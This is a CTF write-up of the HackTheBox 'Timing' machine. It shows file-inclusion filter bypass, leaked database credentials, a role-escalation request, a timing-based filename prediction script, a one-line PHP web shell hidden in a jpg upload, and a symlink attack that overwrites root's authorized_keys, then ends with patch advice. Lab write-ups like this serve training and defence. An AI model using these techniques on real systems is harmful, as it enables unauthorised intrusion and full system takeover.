Skip to main content
  1. writeup-ctf/

Writeup - Timing (HTB)

·1143 words·6 mins·
Cybersecurity, Devops, Infrastructure
Table of Contents

This is a writeup for the Timing machine from the HackTheBox site.


First, let’s start with a scan of our target with the following command:

nmap -sV -T4 -Pn

Two TCP ports are discovered:

  • 22/tcp : SSH port (OpenSSH 7.6p1)
  • 80/tcp : HTTP web server (Apache 2.4.49)


First of all, let’s start by listing the pages of the website.

When testing the different ones, they all return an error except the image.php page. Let’s try to list the arguments available on this page with the following command:

ffuf -c -u -w wordlist/common.txt -fw 1

We find that the img argument exists. Let’s try to list the contents of the /etc/passwd :

The site has an injection detection, let’s try to make a new request but this time with a base64 encoding to avoid the detection:

The page returns a character string in base64, I decode it with the following command:

└─$ echo "[string]" | base64 -d
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We find that there is a user aaron on the machine. I try to connect to the site with this user and basic passwords.  I end up connecting with the following credentials: user: aaron, password: aaron.

I continue my exploration of the files by starting with login.php.

In this file I find a reference to the database connection file: db_conn.php.

$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

db_conn.phpOk, we have a username and password for the mysql database and potentially a user… I tried to make an SSH session with this password and the user aaron but without success.

I continue my research and find the mention of a new page in upload.php : admin_auth_check.php.


include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');


In this file we find that if the session variable role is equal to 1 we have access to the admin section of the site.

In one of the javascript files we find the existence of another php page : profile_update.php.

function updateProfile() {
    var xml = new XMLHttpRequest();
    xml.onreadystatechange = function () {
        if (xml.readyState == 4 && xml.status == 200) {
            document.getElementById("alert-profile-update").style.display = "block"
    };"POST", "profile_update.php", true);
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);

In this file we find that we can send during a POST request the role variable. I create a request with Burp with role=1, this should give me access to the admin panel of the site.

I continue my analysis of the php files of the site with avatar_uploader.php which brings me then to upload.php.


$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
} else {
    echo "Error: " . $error;

In this file we learn several things:

  • Only .jpg files are accepted
  • The uploaded images are stored in the folder images/uploards/
  • The images take a name based on the string $file_hash and the function time()

💡In PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file.


while(true) {
    $hash = md5('$file_hash' . time()) . 'd3vyce.jpg';
    echo "hash = $hash \n";
Before doing the manipulation, it is necessary to check that your clock is well synchronized with the Internet (timedatectl). If this is not the case, you can activate it with the following command: timedatectl set-ntp yes.I create an image d3vyce.jpg with the following content:
<?php system($_GET[cmd]);?>

I then run the php script :

Then I upload the image on the server. All that’s left to do is to make requests with the different hash possibilities.

I can now send commands to the target server. It’s not ideal, but I also tried with a reverse shell, but without success…

After some time of enumeration, I find a file in the /otp folder.

To recover this file, I make a copy to the folder where the website is stored:

curl ''

I can now retrieve the file by accessing the address After unzipping the zip I find the tree structure :

This is a GIT project, so I check the history with the following command:

In the last commit, there was a modification on the file in which we found credencials. Let’s see what has been modified in this file:

There has been a password change! Let’s try this new password to create an SSH session with the user aaron.

I now have a shell and can retrieve the first flag.

Privilege escalation

For elevation of privilege I first check if the user has sudo access:

So I can use the netutils service with root rights. Let’s see what this program does:

This program allows you to download files via FTP or HTTP.

Once the file is downloaded, I notice that it does not belong to me but to the root user!

What we will be able to do is to make a symbolic link of the file /root/.ssh/authorized_keys and then upload a file with the same name so that the content is overwritten and replaced by our public key.

To do this I create the symbolic link with the following command:

ln -s /root/.ssh/authorized_keys authorized_keys

Then before launching a file server in which I placed a file authorized_keys with my public key inside.

I download the file with the program netutils :

I now connect to the root user via SSH :

I can now recover the last flag.


To patch this host I think it would be necessary to perform a number of actions:

  • Do not use the same login/password
  • Fix the php argument to avoid enumeration
  • Do not use a user’s password for the mysql database
  • Do not give sudo rights to a program that does not need them


Writeup - Devel (HTB)
·293 words·2 mins
Writeup - Paper (HTB)
·782 words·4 mins
Writeup - RouterSpace (HTB)
·587 words·3 mins